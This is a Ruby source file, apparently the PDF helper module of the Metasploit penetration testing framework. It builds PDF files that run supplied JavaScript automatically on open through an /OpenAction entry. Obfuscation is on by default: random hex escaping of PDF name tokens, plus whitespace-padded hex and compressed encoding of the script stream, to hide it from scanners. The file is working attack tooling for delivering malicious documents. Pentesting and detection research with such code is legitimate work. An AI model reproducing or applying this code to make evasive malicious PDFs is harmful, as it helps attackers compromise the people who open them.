metasploit-framework/lib/msf/core/exploit/pdf.rb

160 lines
2.8 KiB
Ruby

##
# $Id$
##
###
#
# This module provides methods for creating PDF files.
#
###
module Msf
module Exploit::PDF
def initialize(info = {})
super
register_options(
[
OptBool.new('PDF::Obfuscate', [ true, 'Whether or not we should obfuscate the output', true ]),
], Msf::Exploit::PDF
)
# We're assuming we'll only create one pdf at a time here.
@xref = []
@pdf = ''
end
def eol
"\x0d\x0a"
end
def endobj
"endobj" << eol
end
def RandomNonASCIIString(count)
result = ""
count.times do
result << (rand(128) + 128).chr
end
result
end
def ioDef(id)
"%d 0 obj" % id
end
def ioRef(id)
"%d 0 R" % id
end
# http://blog.didierstevens.com/2008/04/29/pdf-let-me-count-the-ways/
def nObfu(str)
return str if not datastore['PDF::Obfuscate']
result = ""
str.scan(/./u) do |c|
if rand(2) == 0 and c.upcase >= 'A' and c.upcase <= 'Z'
result << "#%x" % c.unpack("C*")[0]
else
result << c
end
end
result
end
def ASCIIHexWhitespaceEncode(str)
return str if not datastore['PDF::Obfuscate']
result = ""
whitespace = ""
str.each_byte do |b|
result << whitespace << "%02x" % b
whitespace = " " * (rand(3) + 1)
end
result << ">"
end
def header(version = '1.5')
hdr = "%PDF-1.5" << eol
hdr << "%" << RandomNonASCIIString(4) << eol
hdr
end
def add_object(num, data)
@xref << @pdf.length
@pdf << ioDef(num)
@pdf << data
@pdf << endobj
end
def pdf_with_openaction_js(js)
@xref = []
@pdf = ''
@pdf << header
add_object(1, nObfu("<</Type/Catalog/Outlines ") << ioRef(2) << nObfu("/Pages ") << ioRef(3) << nObfu("/OpenAction ") << ioRef(5) << ">>")
add_object(2, nObfu("<</Type/Outlines/Count 0>>"))
add_object(3, nObfu("<</Type/Pages/Kids[") << ioRef(4) << nObfu("]/Count 1>>"))
add_object(4, nObfu("<</Type/Page/Parent ") << ioRef(3) << nObfu("/MediaBox[0 0 612 792]>>"))
add_object(5, nObfu("<</Type/Action/S/JavaScript/JS ") + ioRef(6) + ">>")
compressed = Zlib::Deflate.deflate(ASCIIHexWhitespaceEncode(js))
stream = nObfu("<</Length %s/Filter[/FlateDecode/ASCIIHexDecode]>>" % compressed.length) << eol
stream << "stream" << eol
stream << compressed << eol
stream << "endstream" << eol
add_object(6, stream)
finish_pdf
end
def finish_pdf
@xref_offset = @pdf.length
@pdf << xref_table
@pdf << trailer(1)
@pdf << startxref
@pdf
end
def xref_table
ret = "xref" << eol
ret << "0 %d" % (@xref.length + 1) << eol
ret << "0000000000 65535 f" << eol
@xref.each do |index|
ret << "%010d 00000 n" % index << eol
end
ret
end
def trailer(root_obj)
ret = "trailer" << nObfu("<</Size %d/Root " % (@xref.length + 1)) << ioRef(root_obj) << ">>" << eol
ret
end
def startxref
ret = "startxref" << eol
ret << @xref_offset.to_s << eol
ret << "%%EOF" << eol
ret
end
end
end